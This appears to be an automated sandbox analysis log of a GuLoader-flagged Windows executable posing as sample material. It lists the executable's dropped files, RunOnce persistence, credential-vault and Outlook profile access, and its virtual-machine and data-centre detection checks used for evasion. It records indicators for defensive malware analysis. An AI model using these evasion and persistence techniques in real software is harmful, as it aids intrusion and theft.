Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Code function: 0_2_00402104 LdrInitializeThunk,CoCreateInstance,LdrInitializeThunk,

0_2_00402104

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens

Jump to behavior

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

File created: C:\Users\user\AppData\Local\Temp\nsc266A.tmp

Jump to behavior

Source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

ReversingLabs: Detection: 36%

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

File read: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe "C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe"
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process created: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe "C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe"
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process created: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe "C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe"	Jump to behavior

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Section loaded: msasn1.dll	Jump to behavior

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: System.Windows.Forms.pdb source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7581746956.000000007115B000.00000020.00000001.01000000.0000000B.sdmp
Source:	Binary string: System.Windows.Forms.ni.pdbRSDS source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7581746956.000000007115B000.00000020.00000001.01000000.0000000B.sdmp
Source:	Binary string: System.Windows.Forms.ni.pdb source: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, 00000003.00000002.7581746956.000000007115B000.00000020.00000001.01000000.0000000B.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.2974737603.00000000075B2000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Code function: 0_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_10001B18

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 0_2_10002DE0 push eax; ret	0_2_10002E0E
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 3_2_001159C8 pushfd ; retn 000Ah	3_2_00115A01
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Code function: 3_2_3877CB70 push esp; iretd	3_2_3877CF71

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	File created: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll			Jump to dropped file
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	File created: C:\Users\user\AppData\Roaming\Cretinous\Adjudanter.exe			Jump to dropped file

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Motorcyclists	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Motorcyclists	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Motorcyclists	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Motorcyclists	Jump to behavior

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	API/Special instruction interceptor: Address: 7ACB2E6
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	API/Special instruction interceptor: Address: 3B5B2E6

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Memory allocated: 35D30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Memory allocated: 37D30000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
